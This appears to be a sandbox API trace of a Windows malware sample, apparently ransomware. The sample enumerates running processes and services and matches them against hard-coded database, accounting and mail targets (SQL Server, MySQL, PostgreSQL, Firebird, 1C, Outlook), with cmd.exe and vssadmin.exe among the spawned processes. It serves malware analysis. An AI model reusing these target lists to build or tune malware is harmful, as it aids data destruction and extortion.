	[0046.668] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0046.668] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0046.668] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0046.668] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0046.668] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0046.669] lstrlenW (lpString="wininit.exe") returned 11
	[0046.669] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0046.669] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0046.669] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0046.669] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0046.670] lstrlenW (lpString="csrss.exe") returned 9
	[0046.670] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0046.671] lstrlenW (lpString="winlogon.exe") returned 12
	[0046.671] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0046.672] lstrlenW (lpString="services.exe") returned 12
	[0046.672] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0046.672] lstrlenW (lpString="lsass.exe") returned 9
	[0046.672] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0046.673] lstrlenW (lpString="lsm.exe") returned 7
	[0046.673] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.674] lstrlenW (lpString="svchost.exe") returned 11
	[0046.674] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.674] lstrlenW (lpString="svchost.exe") returned 11
	[0046.675] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.675] lstrlenW (lpString="svchost.exe") returned 11
	[0046.675] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.676] lstrlenW (lpString="svchost.exe") returned 11
	[0046.676] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.677] lstrlenW (lpString="svchost.exe") returned 11
	[0046.677] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0046.677] lstrlenW (lpString="audiodg.exe") returned 11
	[0046.677] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.678] lstrlenW (lpString="svchost.exe") returned 11
	[0046.678] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.679] lstrlenW (lpString="svchost.exe") returned 11
	[0046.679] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0046.680] lstrlenW (lpString="dwm.exe") returned 7
	[0046.680] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0046.680] lstrlenW (lpString="explorer.exe") returned 12
	[0046.680] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0046.681] lstrlenW (lpString="spoolsv.exe") returned 11
	[0046.681] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0046.682] lstrlenW (lpString="taskhost.exe") returned 12
	[0046.682] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0046.682] lstrlenW (lpString="svchost.exe") returned 11
	[0046.682] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0046.683] lstrlenW (lpString="taskeng.exe") returned 11
	[0046.683] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0046.684] lstrlenW (lpString="taskhost.exe") returned 12
	[0046.684] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="program.exe")) returned 1
	[0046.684] lstrlenW (lpString="program.exe") returned 11
	[0046.684] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="felt.exe")) returned 1
	[0046.685] lstrlenW (lpString="felt.exe") returned 8
	[0046.685] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bibliography.exe")) returned 1
	[0047.052] lstrlenW (lpString="bibliography.exe") returned 16
	[0047.056] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="georgeeliteopening.exe")) returned 1
	[0047.069] lstrlenW (lpString="georgeeliteopening.exe") returned 22
	[0047.069] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="commissioners_o_tiny.exe")) returned 1
	[0047.069] lstrlenW (lpString="commissioners_o_tiny.exe") returned 24
	[0047.069] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="converter.exe")) returned 1
	[0047.070] lstrlenW (lpString="converter.exe") returned 13
	[0047.070] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="once.exe")) returned 1
	[0047.073] lstrlenW (lpString="once.exe") returned 8
	[0047.074] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bras_cod_tribune.exe")) returned 1
	[0047.074] lstrlenW (lpString="bras_cod_tribune.exe") returned 20
	[0047.074] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="always.exe")) returned 1
	[0047.075] lstrlenW (lpString="always.exe") returned 10
	[0047.075] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="walkerusefuldifferently.exe")) returned 1
	[0047.076] lstrlenW (lpString="walkerusefuldifferently.exe") returned 27
	[0047.076] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="donated.exe")) returned 1
	[0047.076] lstrlenW (lpString="donated.exe") returned 11
	[0047.076] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowherepike.exe")) returned 1
	[0047.077] lstrlenW (lpString="nowherepike.exe") returned 15
	[0047.077] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="packagevolkswagen.exe")) returned 1
	[0047.078] lstrlenW (lpString="packagevolkswagen.exe") returned 21
	[0047.078] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="roommate_ordinary.exe")) returned 1
	[0047.079] lstrlenW (lpString="roommate_ordinary.exe") returned 21
	[0047.079] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="allowance.exe")) returned 1
	[0047.079] lstrlenW (lpString="allowance.exe") returned 13
	[0047.079] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conducting affect.exe")) returned 1
	[0047.080] lstrlenW (lpString="conducting affect.exe") returned 21
	[0047.080] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="plaintiff.exe")) returned 1
	[0047.081] lstrlenW (lpString="plaintiff.exe") returned 13
	[0047.081] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dialog.exe")) returned 1
	[0047.082] lstrlenW (lpString="dialog.exe") returned 10
	[0047.082] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="katrinaupgradingfruits.exe")) returned 1
	[0047.082] lstrlenW (lpString="katrinaupgradingfruits.exe") returned 26
	[0047.082] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spa-podcasts.exe")) returned 1
	[0047.083] lstrlenW (lpString="spa-podcasts.exe") returned 16
	[0047.083] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0047.084] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0047.084] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0047.084] lstrlenW (lpString="swpesp.exe") returned 10
	[0047.084] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x918, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0047.085] lstrlenW (lpString="cmd.exe") returned 7
	[0047.085] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0047.086] lstrlenW (lpString="conhost.exe") returned 11
	[0047.086] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0047.087] lstrlenW (lpString="vssadmin.exe") returned 12
	[0047.087] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1
	[0047.087] lstrlenW (lpString="VSSVC.exe") returned 9
	[0047.087] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0047.088] lstrlenW (lpString="svchost.exe") returned 11
	[0047.088] Process32NextW (in: hSnapshot=0x178, lppe=0x6efd34 | out: lppe=0x6efd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0
	[0047.089] CloseHandle (hObject=0x178) returned 1
	[0047.089] Sleep (dwMilliseconds=0x1f4) 
	[0047.832] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x35d0778
	[0047.832] EnumServicesStatusExW (in: hSCManager=0x35d0778, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 0
	[0047.833] GetLastError () returned 0xea
	[0047.833] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12c6) returned 0x3ea0058
	[0047.833] EnumServicesStatusExW (in: hSCManager=0x35d0778, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ea0058, cbBufSize=0x12c6, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ea0058, pcbBytesNeeded=0x6eff44, lpServicesReturned=0x6eff5c, lpResumeHandle=0x0) returned 1
	[0047.833] CloseServiceHandle (hSCObject=0x35d0778) returned 1
	[0047.833] lstrlenW (lpString="Appinfo") returned 7
	[0047.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0047.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0047.833] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0047.833] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0047.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0047.834] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0047.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0047.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0047.834] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0047.834] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0047.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0047.834] lstrlenW (lpString="AudioSrv") returned 8
	[0047.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0047.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0047.834] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0047.834] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0047.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0047.834] lstrlenW (lpString="BFE") returned 3
	[0047.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0047.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0047.834] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0047.834] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0047.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0047.834] lstrlenW (lpString="CryptSvc") returned 8
	[0047.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0047.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0047.834] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0047.834] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0047.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0047.834] lstrlenW (lpString="CscService") returned 10
	[0047.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0047.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0047.834] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0047.834] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0047.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0047.835] lstrlenW (lpString="DcomLaunch") returned 10
	[0047.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0047.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0047.835] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0047.835] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0047.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0047.835] lstrlenW (lpString="Dhcp") returned 4
	[0047.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0047.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0047.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0047.835] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0047.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0047.835] lstrlenW (lpString="Dnscache") returned 8
	[0047.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0047.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0047.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0047.835] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0047.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0047.835] lstrlenW (lpString="DPS") returned 3
	[0047.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0047.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0047.835] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0047.835] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0047.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0047.835] lstrlenW (lpString="eventlog") returned 8
	[0047.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0047.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0047.835] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0047.835] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0047.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0047.836] lstrlenW (lpString="EventSystem") returned 11
	[0047.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0047.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0047.836] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0047.836] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0047.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0047.836] lstrlenW (lpString="gpsvc") returned 5
	[0047.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0047.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0047.836] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0047.836] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0047.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0047.836] lstrlenW (lpString="iphlpsvc") returned 8
	[0047.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0047.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0047.836] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
